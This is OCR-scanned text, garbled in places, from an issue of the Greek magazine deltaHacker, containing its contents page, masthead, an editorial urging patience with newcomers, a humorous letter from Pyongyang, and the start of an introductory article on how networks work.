Χαρίστε oto PC σας 
µια δεύτερη οθόνη -- πρακτικά δωρεάν 
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Πώς δουλεύουν τα δίκτυα, αλλά από µέσα! 


Προκαλέστε υπερχείλιση στη στοίβα 
και παρακολουθήστε τις Cyv3TIE1ES 


και οδηγίες χρήσης 


ΕΝΤΙΤΟΡΙα 


τι συμβαίνει μ᾽ όσους έχουν εύκολες τις απαντήσεις 
«Google it» καὶ «RTFM»; 


OVEIA µει 


τι δουλειά έχει ο Θείος Ακάκιος στο µεγαλύτερο 
και πιο πολυτελές ξενοδοχείο της Πιονγκ-Γιανγι; 


πως ὀουλευουν τα OIKTUC: 
πρωτόκολλα πάνω ano πρωτόκολλα 
(...πάνω ano πρωτόκολλα) 


σας σπάνε μήπως τα νεύρα όσοι αμολάνε όρους του στιλ 
subnet mask, network address translation, routing και δεν 
συμμαζεύεται, σαν να ΄ναι τα πιο φυσιολογικά πράγματα στον 
κόσμο; αχ, πόσο σας καταλαβαίνουμε... 


οι υπουλες κβλαιεντ-σαιντατακς 


επίθεση client-side: όταν ο επιτιθέµενος χρησιμοποιεί 
κάποιο καθόλα νόμιμο πρόγραµµα που βρίσκεται εγκατε- 
στημένο στο μηχάνημα του υποψήφιου θύματος, για να 
πετύχει το σκοπό του. ελάτε να σας δείξουμε τι εννοούμε! 


arduino - ΟΕ γουει ΟΡ O€ χακερ! 
(μέρος 2 ano Kana) 


εσάς ποιες κατασκευές σας αρέσουν; προτιμάτε τις απλές και 
λειτουργικές ἤ εκείνες που διαθέτουν δεκάδες LED και διακό- 
πτες, προσφέροντας ένα βουνό από ετερόκλητες λειτουργίες; 


ο παρασκῆηνιο µιας εκτελεσης 


A 
έχετε ποτέ αναρωτηθεί τι ακριβώς συμβαίνει κάθε 
φορά που τρέχετε µια εφαρµογή; το ξέρατε ότι έχει 


πολύ ενδιαφέρον να μάθετε; 


arduino + Icdsmartie = δεύτερο μόνιτορ για To PC! 


EU, πώς να το κάνουμε; ο δικός 
μας υπολογιστής εἶναι ξεχωριστός! 


τότε οι συνέπειες είναι δυσάρεστες για πολ 
σμο! αλλά και γι’ αυτό που μιλάμε, οι συνέπειες 
εἶναι δυσάρεστες «τουλάχιστον για έναν... 


5EPOIOV KOVTPOA σιστεμς... 
και συνεχίστε να κοιµόσαστε ἠσυχοι (μέρος 2 ano 2) 


αρκετά σας ξεσηκώσαμε στο τεύχος 004. ξέρουμε 

ότι ήλθε η ώρα να εγκαταστήσετε το δικό σας VCS 

και δεν κρατιέστε! αλλά για µια στιγμή, ποιο εἶναι το 
καταλληλότερο για ‘OAG; 


POUTIVYK 


εἶναι δυνατό να ἔχουμε command line πρόσβαση στο Android 
κινητό µας και να µην κάνουμε τίποτε ώστε V’ αποκτήσουμε 
*KQI* πλήρη πρόσβαση στον λογαριασμό Tou root;! 


Εκδότης / Διευθυντής Χρήστος Βαρελάς 

Αρχισυντάκτης Παναγιώτης Βαρελάς 

Σύμβουλοι ἐκδοσης Νίκος Μουρατίδης, Βούλα Παυλίδου 

Σύνταξη Παναγιώτης Βαρελάς, Χρήστος Βαρελάς, Ανδρέας 
Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Γιώργος 
Μελέκος, Νίκος Μουρατίδης, Μέσος Παπαδόπουλος 
(TM), Χρίστος Τόμπρας 

Γραμματικἠ επιμέλεια Βούλα Παυλίδου 


Καλλιτεχνική Επιμέλεια Πέτρος Φιλιππίδης 


Το περιοδικὀ deltaHacker εἶναι συνδρομητικὀ και εκδίδεται and την Parabing Creations 
δώδεκα φορές το χρόνο, στις αρχὲς κάθε μήνα. H Parabing Creations ἐχει την έδρα της 
στη Μαιώτιδος 3, 55 133, Καλαμαριά. H εκτύπωση και η βιβλιοδεσία γίνονται ano την 
ThessPrint Α.Ε. To email επικοινωνίας του περιοδικού εἶναι το talk2us@deltahacker.gr 
και το email για τις συνδρομὲς το subscriptions@deltahacker.gr. Οι πληροφορἰες για τις 
συνδρομές εἶναι στο http://deltahacker.gr/subscriptions και οι παραγγελίες γίνονται and 
το http://deltahacker.gr/order. Όλες οι απόψεις που εκφράζονται στα άρθρα δεν εκφρά- 
ζουν απαραίτητα και τη γνώμη του περιοδικού. 


(*) Οµορφάααααντρα μου! Τι κοιτάς εδώ; 


Beta but... stable. 


Monthly or so, web show about 
technology, pc, Linux and much more! 


More into: 
www.thebetashow.gr 


@TheBetaShowGR 


: /var/log/messages 


Αδιαφορήστε για τα KNIOE, 
παραμερίστε τις ντίβες! 


«...ΟΙ αδίστακτοι χάκερ ξεπέρασαν το Eva μετά το ἆλλο τα υπερσύγ- 
χρονα συστήµατα ασφαλείας, καταφέρνοντας να υποκλέψουν τα 
προσωπικά στοιχεία των πελατών. Τώρα εκβιάζουν την εταιρεία, ζη- 
τώντας να τους καταβληθούν διόλου ευκαταφρὀόνητα ποσά για va £ni- 
στρέψουν τα κλοπιμαία. Τα ερωτήματα γύρω ano την υπόθεση εἶναι 
πολλά και προκαλούν πονοκέφαλο στους ιθύνοντες των ερευνητικών 
Αρχών. Ωστόσο, το κρίσιμο ερώτημα που βασανίζει τα θύματα napa- 
μένει Eva: Θα μπορέσουν ποτέ ξανά να αισθανθούν ασφαλείς, στην 
εποχή του ηλεκτρονικού εγκλήματος µέσω ἰντερνετ;» 


Ἔτσι εἶναι, φίλες και φίλοι. Αφού ἐτσι τα περιγράφουν, δεν µπορεί 
να ‘val κι αλλιώς. Εδὠ που τα λέμε, λίγο πριν ξεκινήσω το γράψιμο 
Tou editorial, ¿kava κι εγώ Ta τηλἐφωνά µου. Ξέρετε, τώρα... EkBi- 
aoa, ἐβρισα κι απεἰλησα, προκειµένου ν΄’ αποσπάσω χρήματα ano τα 
θὐματά µου. 


Το παραπάνω απόσπασμα δεν το πῆρα ano κάποια εἴδηση. Το ἐγραψα 
αραδιάζοντας ὁλα τα κλισέ που ¿xw διαβάσει κατὰ καιρούς. Μην τα 
βάζετε µε τους δημοσιογράφους, ὁμως. Δεν xw εξάλλου την πρὀ- 
θεση να ανοίξω μέτωπο μαζί τους. Νιώθω ὁμως OT! πρέπει να ανοίξω 
μέτωπο HE τις αντιλήψεις που διέπουν τα κείμενα του εἰδους! Σύμ- 
Φωνα µε αυτὲς τις αντιλήψεις, οι χάκερ εἶναι περιθωριακοἰ τύποι, 
λιγομίλητοι, υπερόπτες, απομονωμένοι απὀ το περιβάλλον, αυστηροί 
κριτὲς των πάντων και, φυσικά, συνηθισμένοι να τρέφονται αποκλει- 
στικἁ µε καφὲ και πίτσα. Αυτὸς ο τρόπος ζωής, αυτὸ To lifestyle που 
υποτίθεται ὁτι χαρακτηρίζει τους χάκερ, προβάλλεται πολύ συχνὰ 
στον κινηματογράφο, τροφοδοτείται ano μύθους που κυκλοφορούν 
στο Internet και φυσικά καταλήγει να αναπαράγεται ano τα ΜΜΕ. 


Π 


Κινδυνεύουμε, παιδιά! Οι χάκερ βέβαια δεν μοιάζουν καθόλου μ 
αυτὸν τον αντιπαθητικὀ χαρακτήρα που πλασάρεται στον αμύητο KÒ- 
σµο. Ωστόσο ο κἰνδυνος εἶναι υπαρκτὸς και ὑπουλος. Βλέπετε, ορι- 
σμένες απὀ αυτές τις αρρωστημένες αντιλήψεις επηρεάζουν ακόμη 
κι εμάς καμιὰ φορά. Δεν υπερβάλω. Σκεφτεἰτε λίγο ορισμένα ano τα 
χαρακτηριστικἁ που µας προσάπτουν. Αφενὸς λένε πως έχουμε πολ- 
λὲς τεχνολογικὲς γνώσεις (και πὼς να µην το πουν εδώ που τα λἐμε;) 
κι αφετέρου µας παρουσιάζουν ως υπερόπτες, EKKEVTPIKOUG και TE- 
λος πάντων ιδιότροπους ανθρώπους, µε τους οποίους δύσκολα θα 
βγάλει κανεὶς ἄκρη. Όλα αυτά φυσικά αποτελούν προϊόν µυθοπλα- 
σίας, που σαν στὀχο ἐχει μόνο τις πωλήσεις. Μήπως ωστόσο έχουμε 
πάθει αυθυποβολἠ and αυτές τις εικόνες; Μήπως ο λὀγος µας Ka- 
μιὰ φορὰ γἱνεται περισσότερο τεχνικὸς απ’ ògo χρειάζεται, μόνο και 
μόνο για να νιώθουμε µέλη µιας ιδιαίτερης, ξεχωριστἠς κοινότητας; 
Μήπως κάποιες άλλες φορές αδιαφορούμµε για τις ερωτήσεις των ap- 
χάριων και απαξιώνουμε --ἐστω ασυνεἰδητα-- τις προσπάθειές τους; 
Εντάξει, αυτὀ δεν το κάνουν ὁλοι, αλλά κι αυτοί που το συνηθίζουν 
δεν το κάνουν κατ’ ανάγκη κακοπροαἱρετα. Το κακὀ όμως γίνεται και 
πρέπει να ἐχουμε πλήρη επίγνωση, WOTE τελικἀ ν΄ αποκτήσουμε και 
τον πλήρη αυτοέλεγχο. 


Φανταστεῖτε Eva σχολείο στο οποίο οι EKNGIOEUTIKO! απαντούν 
σε Ἑκάθεξ ερώτηση των μαθητῶν µε τον ἰδιο τρόπο: RTFM! Ας 
υποθέσουμε τώρα ὁτι αυτὸ το φανταστικὀ σχολείο αποκτά µια 
καλἠ σύνδεση στο Internet κι ὁτι σε κάθε θρανίο υπάρχει ἑνας 
υπολογιστής. Πλέον, οι καθηγητὲς θα μπορούσαν ν΄ anavTave και 
u’ ἑναν akoua τρόπο: Google it! 


Θα εἰχε πλάκα Eva τέτοιο σχολείο, δε λέω. Πα µια, δυο μέρες ὁμως. 
Μετὰ θα γινόταν εφιάλτης! Σκεφτείτε το εἶδος των μαθητών που 
θα ἐβγαιναν ano ‘kel μέσα. H αξία της γνώσης πηγάζει ano το y£- 
γονὸς ὁτι µας επιτρέπει να χειριζόμαστε το φυσικὀ κόσμο που µας 
περιβάλλει µε επιτυχία. Αυτή η επιτυχία, βέβαια, δεν εἶναι προϊόν 
τύχης. Η γνώση, βλέπετε, παράγεται ano την αλληλεπίδραση του 
ανθρώπου µε το περιβάλλον του, ano τη δοκιμή, την αποτυχία 
ενίοτε, την επανάληψη και το συστηματικὀ/καθαρὀὸ τρὀπο OKE- 
ψης. Οἱ απαντήσεις του τύπου RTFM και Google it δε βοηθούν 
καθόλου στην ανάπτυξη καθαρὴς και συστηµατικἠς σκέψης. Το 
κακὸ ὁμως δε σταματά εδώ. Ένας καθηγητἠς που απαντά συνεχώς 
κατ’ αυτόν τον τρόπο θα κάνει τους μαθητές του κομπλεξικούς. 
O μαθητἠς θέλει στήριξη και OX! µια διαρκἠ υπενθύμιση του πόσο 
μικρὸς κι ἄχρηστος εἶναι. Χρειάζεται βέβαια και η πειθαρχία, αλλά À 

μόνον αυτὴ που έχει σαν στόχο τη συστηματοποίηση της σκέψης. ΦΝ , 
Στην τελική, ἑνας καθηγητής που αντιμετωπίζει τους μαθητὲς μ΄ | 
αυτόν τον τρόπο, δεν αποκλεἰεται να εἶναι ἄσχετος κι αυτός! Δεν 

αποκλεἰεται να εἰχε κι εκείνος ξερόλες καθηγητάδες του ἴδιου σι- 
ναφιού, οι οποίοι τον ἔμαθαν να κἀνει πέντε πράγματα μόνο, XW- 
pic ὁμως να αντιλαμβάνεται την ουσία τους. 


Θα µου πείτε, τώρα, ότι παρά τα όποια προβλήματά του το σηµε- 
ρινὸ σχολείο δεν εἶναι ἐτσι. O καημὀς µου, ὁμως, δεν ἐχει να κάνει 
µε το σχολείο. (Με απασχολεὶ κι αυτὀ δηλαδή, αλλά ὀχι τώρα.) O 
προβληματισμὸς µου αφορὰ στην αυστηρή, ξερή κι εξυπνακἰστικη 
αντιμετώπιση των νεοφερμένων, απὀ τους «φτασμένους χάκερ». 
Zona, ρε μάγκα! Κάτι τέτοιο σκέφτομαι όταν βλέπω παρόμοιες 
απαντήσεις και υποψιάζομαι ὁτι, λίγο-πολύ, HE Tov ἴδιο τρόπο OKE- 
πτόμαστε οι περισσότεροι. 


Το χάκινγκ εἶναι µια διαδικασία χωρίς τέλος. Εἶναι το διαρκὲς 
και διασκεδαστικὀ κυνήγι της γνώσης. Δεν µας αρκεἰ η πληρο- 
popia. Ζητάμε τη βαθιά και ουσιαστική κατανόηση των πραγμά- 
των. Θέλουμε να γνωρίζουμε, καθώς και να εἱμαστε σε θέση να 
µεταδίδουµε τη γνώση. Όχι για να αποδείξουμε NOOO μεγάλοι και 
τρανοὶ εἰμαστε. AUTO ταιριάζει στις νευρασθενικὲς WwPOVTIBEG, 
στους κομπλεξικούς σταρ και τέλος πάντων στους δήθεν. Εμεὶς à 
θέλουμε να µεταδίδουµε τη γνώση, γιατὶ μέσα and αυτή τη διαδι- / | | 
κασία βοηθάμε Tov EauTO µας αλλὰ και τους ἄλλους. Av εμεὶς δεν | 

εἰχαμε βοήθεια στα πρὠτα µας βήματα, ἡμασταν ἀτυχοι. Κρίμα. 

Αυτοί που ξεκινούν τώρα πρέπει να ¿xouv καλύτερη τύχη. Δεν ci- 

ναι ανταγωνιστὲς µας. Φίλοι και UNO µία ἐννοια συνάδελφοι, εἶναι. 

Βοηθώντας τους βοηθάμε την «κοινότητἁ» µας και παίρνουμε Eva A 
καλὸ μάθημα για τη ζωὴ γενικὀτερα: Συνηθἰζουµε να λειτουργού- 

He συλλογικά και να μοιραζόμαστε. 


Στο κἁτω-κάτω, ο «χάκερ» που anavTd RTFM και Google it δεν 
αποκλεἰεται να ‘val ο κομπλεξικὸς και ηµιµαθἠής απὀφοιτος του 
εφιαλτικού σχολεἰου που περιγράψαμε. 
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Αγαπητοί µου, 


a 

Ας ξεκινήσουμε από τα τυπικά της εποχῆς.' 

4 - 

Καλή σας χρονιά καν χρόνια σας πολλά. ' 

Πώς περάσατε τις Άγιες (µε κεφαλαίο Α) τούτες ημέρες» 

Ἑμείς δεν τις έχουµε περάσει ακόµα. 

Δεν είναι µόνο επειδή τώρα που σας γράφω απέχουµε ακόµα τρεις μέρες 
γνα τα Χριστούγεννα. 

TO κυριότερο εἴναι OTL στην Βόρειο Κορέα δεν δίνουν και µεγάλη σηµα- 
σία σε αυτές τις εορτές της µπουρζοναζίας, οπότε από εδώ που σας γράφω, 
καθνσµένος στο περιστρεφόμενο εστιατόριο του τεσσαρακοστού πέμπτον 
ορόφου του βόρειου πύργου tov Κόρνο, δεν μπορώ να δω οὔτε ένα χριστου- 
γενννάτικο λαμπάκι, οὔτε έναν αγνοβασίλη. 

Δεν αμφιβάλω ούτε στιγµή, βεβαίως, OTL γνωρίζετε πως το περιστρε- 
φόμενο εστιατόριο αποτελεί την μεγαλύτερη ατραξιόν του Κόρνο, και OTL 
το Κόρνο είναν το µεγαλύτερο και πιο πολυτελές ξενοδοχείο στην Πιόνγκ- 
Γιανγκ. 

Ενδυκᾶ αυτή την εβδομάδα, ωστόσο, το περιστρεφόμενο εστιατόριο δεν 
περιστρέφεται. Λόγω πένθους όπως µου λέει ο συνοδός / ξεναγός που µε 
(παρ)ακολουθεί σε κάθε μου βήμα. 

H θέα προς την πόλη είναι εντυπωσιακή, καν αν δεν είχε συννεφιά είµαν 
σίγουρος ότι θα φαινόντουσαν μέχρι καν τα βουνά έξω απὀ την πόλη, προς 
τα ανατολικά. 

Πάντως κάτι λιβάδια τα βλέπω, EXEL πιο κάτω από τους ουρανοξύστες. 
Άραγε να έχουν καν πρόβατα; 

Ῥωτάω τον οδηγό, καν του δείχνω. 

«Υποθέτω OTL ναι» είναν η απάντηση. «θα πάμε αύριο να βγάλετε φωτο- 
γραφίες αν θέλετε.» 

θέλω. 

«Κανονικά τον Δεκέμβρη ο καιρός είναι αίθριος και παγωμένος», συνέχν- 
σε να μον εξηγεί. «Χαρακτηρίζεται απὀ τους δυνατούς σιβηρικούς ανέμους. 
Αλλά αυτές τις HEPES η φύση θρηνεί.» 

«Ναι», συγκατανεύεν η λεπτοκαμωμένη φρουρός της επανάστασης που 
ακουμπάει μπροστά µας τον δίσκο µε τις δύο µικρές τσαγιέρες. «Ακόμα και 
τα σύννεφα συμμετέχουν στην OLN της χώρας για τον θάνατο του Αγαπη- 
τού Hyetn, Κιμ Γνονγη-1λ» 

Δεν ξέρω για τα σύννεφα, O άνεμος πάντως θερίζει, σκέφτομαι εγώ KOL— 
τώντας έξω. 

Όπως µε έχουν συµβουλέφεν, έχω παραγγείλεν ρωσικό τσάν. Το ἰδιο και ο 
συνοδός / φρουρός µου. 


Σνέιλ ELA 
“ή” 


Tov βλέπω που µε στραβοκουτάει ενώ χτυπάω τα πλήκτρα στην γραφομη- 
χανή της Κυρίας Καίτης, αλλά δεν λέεν τίποτα. Tov καθησυχάζεν, ίσως, ότι η 
γραφομηχανή δεν έχει Internet. 


(AUTO το πάτησα επίτηδες τώρα για να δω την αντίδρασή του.) 

Τέλος πάντων. Ούτε ίντερνετ ελεύθερης πρόσβασης έχουµε εδώ, ούτε φέ- 
LOLTOUH. 

Την επνστολή θα την φέρω πίσω στην Ελλάδα εγώ ο ἰδιος. Av περίµενα va 
την λάβετε ταχυδρομικά θα φτάναμε καλή Σαρακοστή. 

Πάντως γι αυτό σας ρώτησα στην αρχή πώς τα περάσατε τις Άγιες τούτες 
μέρες. 

Πώς ήταν η γαλοπούλα» 

E64 που τα λέμε, βέβανα, nora γαλοπούλα: Πού να βρεις γαλοπούλα στην 
Πνονγη- Γιανγκ; H κουζίνα στα πέντε εστιατόρια TOV Κόρνο είναν μεν «διε- 
θνής», αλλά γαλοπούλα δεν προσφέρειν. 


Ίσως λόγω πένθους. 


Αλλά καν στην Ελλάδα, πού λεφτά για γαλοπούλας Γνα τέτοια έξοδα είναι 
ο κόσμος τώρα; Κοτοπούλα καν άγνος ο θεός. 


Πενία τέχνας κατεργάζεται. 


Στο σπίτι µας πάντως ακόµα KL η κοτοπούλα παιζόταν. Έτνχε ν' ακούσω 
προχτές, φτιάχνοντας την βαλίτσα μον, µια συζήτηση μεταξύ Κυρίας Καίτης 
καν μητέρας εξαδέλφης. Σκεφτόντουσαν να μαγειρέφουν για τα Χριστούγεν- 
να χάρντκορ ινδικό βετζετέριαν. 

Αυτό µε θορύβησε, όπως καταλαβαίνετε. Τους µίλησα µε αποφασιστικό- 
TNTA. 

«Ἰνδικό; Βετζετέριαν; Χάρντκορ; Για τα Χριστούγεννα; Τι δηλαδή, θα 
αφήσουμε να µας συλήσουν τα νερά KGL OOLG του ελληνοχριστιανικού πολι- 
τισμούχ Ποιοι είπατε; Ον Ινδοί! Oxi κύρνον! To αίμα νερὀ δεν γίνεται. Από 
την ελληνιστική κιόλας εποχή, χριστουγενννάτικο τραπέζι δεν υπήρχε χωρίς 
ντοµατοσαλάτα και γαλοπούλα µε πατάτες. To διαβάζεις σε όλα τα ypa- 
πτά των Αγίων Πατέρων. Εμείς το δώσαμε στην ανθρωπότητα, χι αυτὀ, όπως 
τόσα καν τόσα άλλα πράγματα: Το χριστουγεννινάτικο δέντρο’ το δώρο των 
χρυστουγέννων’ τον αγνοβασίλη µε τα δώρα’ τα κάλαντα” τις 
ελληνικές 
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καλένδες... Δεν θα µας έρχεταν ο πάσα ένας τώρα να µας αλλάζεν τις παρα- 
δόσεις µε το ζόρι, επειδή, τάχα μου, χρωστάμε. Kat’ αρχάς ποιος χρωστά- 
Εν. Αυτοί µας χρωστάνε πρώτου. Να µας τα δώσουν αµέσως πίσω. Ένα τρισε- 
κατομμύρνο µας χρωστάνε. OXL OXL, οὔτε καν ένα. Χίλια. Να µας τα δώσουν 
πίσω. Τώρα αμέσως.» 

Αυτές ήταν OL κουβέντες που τους είχα πεν. 

H γητέρα της εξαδέλφης είχε κουτάζεν ανήσυχα την Κυρία Καίτη, παν η 
Κυρία Καίτη είχε ποιτάξεν ανήσυχα το ρολόν της καν την εξώπορτα. 

Δαναρχίσαν την κουβέντα τους σαν να µην είχαν σταματήσει οὔτε στιγ- 
μή. «Και στα μελομακάρουνα τι άλλο βάζεις εκτός από ξύσμα πορτοκα- 
λνού5» άκουσα την Κυρία Καίτη να ρωτάει. «Βάζεις τζίντζερ; Κονιάκ; Te 
άλλο» 

«Γκονγκλ ντ», τους είπα τελικά, HAL συνέχισα να φτιάχνω τη βαλίτσα. 

Πηγαίνοντας, αργότερα, προς το αεροδρόμιο αναρωτιόµουν γιατί νπο- 
χώρησαν έτσι γρήγορα. Σχεδόν ατάκτως θα έλεγα. Ίσως είχαν ανησυχήσεν 
που εἶδαν την γναλάδα στο βλέμμα pov. 

Μπορεί, βέβαια, να ανησυχούσαν απλώς γνα το ταξίδι µου στην Βόρειο 
Κορέα. 

Να πω την αλήθεια, εγώ από μόνος pov δεν το αποφάσιζα να έρθω τόσο 
μακρυά Χριστουγεννιάτικα. Αλλά µου το ζήτησε µέσω ανιφνού ο Κύριος Ex— 
δότης, Χαν πώς να αρνηθώ τέτοια τιµή} Τον είχε αρέσει, απὀ ὀ,τν παταλα- 
Βαΐνω, το αφιέρωμα που είχα ετουµάσει προ διετίας σχεδόν στο Πονλγκούν 
ΝΜπνόλ., το «συντροφικό Linux από Βόρειο Κορέα» κατά την έκφραση του 
αννώνού, καν µου πρότεινε να επανέλθω στο θέμα. 

TO καινούργιο µου αφιέρωμα θα το βρείτε σε άλλες σελίδες του περιοδι- 
πού. Ελπίζω να σας αρέσει. 

Πέρασαν κιόλας δύο χρόνια. Απίστευτο µου φαίνεταν. 

Όπως απίστευτο μου φαίνεταν να cipati παθινσµένος στον 450 όροφο του 
Κόρνο, να πίνω ρωσικό τσάν καν να βλέπω στο βάθος, πέρα από τον ποταμό, 
την σιλονέτα του Πύργου Τζού-τσε µε την πύρινη φλόγα της επανάστασης. 

Είναι φοβερό αυτό το πράγμα µε το πώς περνάει ο χρόνος. 

Όλα μοιάζουν τόσο επείγοντα στην αρχή, και τόσο μάταια καν μικρά στο 
τέλος. 

Πάρτε την έκτη δόση, ας πούμε. Αφού µας είχανε για τόσους μήνες στην 
κόψη του ξυραφιού (Τώρα την παίρνουμε, τώρα δεν την παίρνουμε, τώρα δεν 
μας την δίνουνε, τώρα δεν την θέλουμε, τώρα δεν υπογράφουμε, έλα καλέ 
πλάκα κάναμε, πώς και δεν την θέλουμε, TL δεν µας την δίνουνε; Καν οὕτω 
καθεξής), µε το που την πήραμε, τελικά, το θέμα ξεχάστηκε. Αρχίσανε πάλιν 
να μιλάνε για το άνοιγμα των κλειστών επαγγελμάτων, για τα έκτακτα pé- 
τρα της Τροχαίας για την εορταστική περίοδο, για τις πόλεις που αδειά- 
ζουν απὀ τους τελευταίους εχδρομείς, για τα ακραία καιρικά φαινόμενα 
καν τα απαγορευτικά απόπλου, γνα τις µονάδες που σκαρφαλώνει το χρηµα- 
τιστήριο και πάει λέγοντας. 

Ολική επαναφορά. 

Τελικά, τώρα πον το σκέφτομαι, EXEL κάτι το παθησυχαστικό να εἶσαι 
στην Ελλάδα. 

Λέτε να έχουν καν στρουθοπμαμήλους στο λιβάδι; 

θα βγάλω φωτογραφίες καν θα σας στείλω. 

Ες αύριον τα σπουδαία, αγαπητοί pov. 


Σας ασπάζομαν, 


θείος Ακάκιος 


Hack with us for fun ! 
http: / /the-hackerspace.org/ 


σε περιμένουμε ... 


Hackathons, Hackfests, Parties, Presentations, 
Projects, Translations, Workshops 
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Κατ’ αρχάς ψυχραιμία. Δώστε τόπο στην opyn, παἱξτε το αδιάφοροι. Κατά 
δεύτερον, σας καταλαβαίνουμε απόλυτα. Κατὰ τρίτον, έχετε υπόψη ὁτι 
OOO! αμολάνε ὀρους κι EVVOIEG χωρὶς σταματημὀ, πολύ πιθανὸν οὐτε κι 
εκεἰνοι να ξέρουν για τι πράγμα μιλάνε. Βέβαια μερικοὶ απ’ αυτούς vo- 
μίζουν ὁτι ξέρουν, αλλά το γεγονὸς αυτό τους κάνει ακόµα πιο αστείους 
ὁταν ἐρχεται η στιγμὴ που πέφτουν οι μάσκες! 


Δεν πειράζει που δεν γνωρίζετε τι σημαίνουν ὁροι σαν αυτούς που αρα- 
διάσαµε στην εισαγωγἠ. AUTO που πειράζει εἶναι v’ αδιαφορεἰτε. Μη σας 
φαίνεται παράξενο auto nou λέμε. Κρατάτε εξάλλου στα χέρια σας Eva 
περιοδικὀ που ονομάζεται deltaHacker, επομένως για πόσο νομίζετε ὁτι 
θα μπορείτε v’ αναβάλλετε την κατανόηση ὁλων αυτών των εννοιών; 
Μην το σκέφτεστε πολὺ. Το παρὸν άρθρο εἶναι το πρὠτο µια σειράς που 
επιτέλους θα σας δείξει αφενὸς πώς δουλεύουν τα δίκτυα, αφετέρου 
γιατί δουλεύουν ὁπως δουλεύουν. Σε πολύ λίγο καιρὸ δεν θα εἶστε εσεἰς 
εκείνοι που ρωτάνε γιατὶ δεν δουλεύει το port forwarding, οὐτε θα na- 
ραξενεύεστε ὁταν βλέπετε κάποιο netmask που δεν μοιάζει µε TO Eva και 
μοναδικὸ nou βλέπατε μέχρι πρότινος. Πολύ περισσότερο, θα *EEpETE* 
τι εἰναι το netmask, ὁπως επἰσης και τι Ta broadcast address, TCP και 
UDP, τι ρόλο xouv τα ports, καθώς και τόσα άλλα που μέχρι σήμερα θα 
προτιμούσατε να µην εἰχατε ακούσει. 


Μαθαϊνοντας --και κυρίως κατανοώντας-- έννοιες που αφορούν στα õi- 
κτυα, κερδίζετε απείρως πολλά. Επιτρέψτε µας να κάνουμε µια σύντομη 
παράθεση -- και συγχωρἑἐστε µας αν παραλείψουμµε κάτι σηµαντικὀ. 


e Θα μπορείτε να στήνετε άνετα και γρήγορα απλά έως και σύνθετα 
δίκτυα, τα οποία θα εἶναι ικανά προστατευμένα απὀ εξωτερικὲς 
επιβουλὲς και ταυτόχρονα θα παρέχουν τις επιθυμητές υπηρεσίες 
σε ὁσους εἶναι εντὸς ἡ EKTOG δικτύου. 


ο Κάθε φορὰ nou θα ασχολεἰστε µε ευγενἠ σπορ ὁπως το penetration 
testing, θα αισθάνεστε μεγαλύτερη σιγουριά για τις κινήσεις σας 
και θα γνωρίζετε EK των προτέρων αν κάτι που σκέφτεστε να δοκι- 
μάσετε ἐχει νόημα ἡ ἑστω καλὲς πιθανότητες επιτυχίας. 


ο Θα εἰστεσε θέση να ρυθµἰζετε σωστά Servers, δικτυακὲς υπηρεσἰ- 
ες, εφαρμογὲς ἡ ακόμα kal games μέσα o’ Eva LAN, ὥστε va ano- 
δίδουν τα μέγιστα και να εξυπηρετούν κατὰ τον καλύτερο δυνατὸ 
τρόπο ὁσους τα χρησιμοποιούν. 


ο Θα στήνετε εικονικἁ δίκτυα εντὸς αληθινών δικτύων, τα οποία θα 
‘val επαρκώς απομονωμένα ano το περιβάλλον αλλά ταυτόχρονα 
θα σας επιτρέπουν να κάνετε ακἰνδυνα τους πειραματισμούς σας 
ἠ/και να παρέχετε νέες δικτυακὲς υπηρεσίες χωρίς να «ανακατώ- 
νετε» τα φυσικὰ (αληθινά) μηχανήματα. 


ο Οπλἰζεστε µε γνώσεις και ικανότητες προκειµένου ν΄’ αποδεικνύετε 
στην πράξη ὁτι οι ἄλλοι μπορούν να βασίζονται σ΄’ εσὰς και στις 
ικανὀτητὲς σας, αφού έχετε πολλά περισσότερα να προσφέρετε 
ano κάποιον nou απλἀ ισχυρίζεται ὁτι «ξἐρει» και στο βιογραφικὀ 
του ἐχει αραδιασμένα 17 λειτουργικἁ συστήματα, 50 γλὠσσες npo- 
γραμματισμού, 2-3 εφαρμογὲς γραφείου, 7 επεξεργασίας εικὀνας/ 
βίντεο, ὁπως επἰσης και 1290 ὡὠρες σε σεμινάρια και διεθνή συνὲ- 
ὅρια στην Παπούα Νέα Γουινέα -- και φυσικά στο Ανατολικὀ Τιμόρι. 


ο Αποκτάτε vav έγκυρο κὠδικα επικοινωνίας WOTE va συνεργάζε- 
στε εποικοδοµητικἀ, να αντιμετωπίζετε επιτυχώς προβλήματα και 
πρωτόγνωρες καταστάσεις, καθώς επἰσης και να µεταδίδετε αλλά 
και να ndipvete αληθινἠ, ουσιαστική γνώση. 


1. Μην το γελάτε. Γνωρίζουμε ανθρώπους που όταν βλέπουν τέτοια «πλούσια» βιογραφικἀ αποκτούν µια 
ἄκρως επιφυλακτικἠ στάση -- av δεν τα πετάξουν αμέσως. Εἶναι βλέπετε που ειδικἀ στο χώρο της τεχνολογίας 
περισσότερο µετράνε τα έργα παρά οι περγαμηνές... 


Πώς δουλεύουν τα δίκτυα 
0 


Σκεφτεἰτε λίγο αυτὸ το τελευταἰο. Κάθε φορά που απουσιάζει ¿vag καλά 
OPIOHEVOG και προσυμφωνημένος κὠδικας επικοινωνίας, το αποτέλεσµα 
εἶναι ότι ἄλλα λέμε, GAAG καταλαβαίνουμε, ὁ,τι va ‘val KAVOUHE και TEAIKG 
μᾶλλον χαμένοι βγαἰνουμε. 


Ξέρετε KATI; Οι προσυμφωνημένοι κὠδικες επικοινωνίας δεν εἶναι ana- 
ραίτητοι μόνο στους ανθρώπους. Χωρίς αυτούς πολλά ano τα ανθρώπινα 
κατασκευάσματα δεν θα δούλευαν καν. ‘Eva --εντελὼς τυχαίο-- napd- 
δειγµα που µας ἐρχεται τώρα στο μυαλὸ, εἶναι τα δίκτυα ;) 


Τα εξαιρετικἀ σηµαντικά πρωτόκολλα και οι ιεραρχῖες τους 


Αν καθἰσετε για µια στιγµἠ και σκεφτείτε πόσο πολύπλοκο εἶναι το na- 
γκόσμιο Διαδίκτυο, δεν θα μπορέσετε napa να αισθανθεἰτε δέος για το 
γεγονὸς ὁτι Eva τέτοιο ἄναρχο τερατούργημα δουλεύει -- και μάλιστα 
αξιόπιστα. Πώς εἶναι apaye δυνατὸν να διασφαλίζεται OT! µερικά πακέτα 
πληροφορίας που ξεκινούν and την Καλαμαριά φτάνουν στο Χόμπαρτ 
της Τασμανίας και κάποια ἆλλα ξεκινούν ano εκεὶ και καταλήγουν στην 
Καλαμαριά; Δεν εἶναι αξιοθαύμαστο το γεγονός OT! αμέτρητα πακέτα δε- 
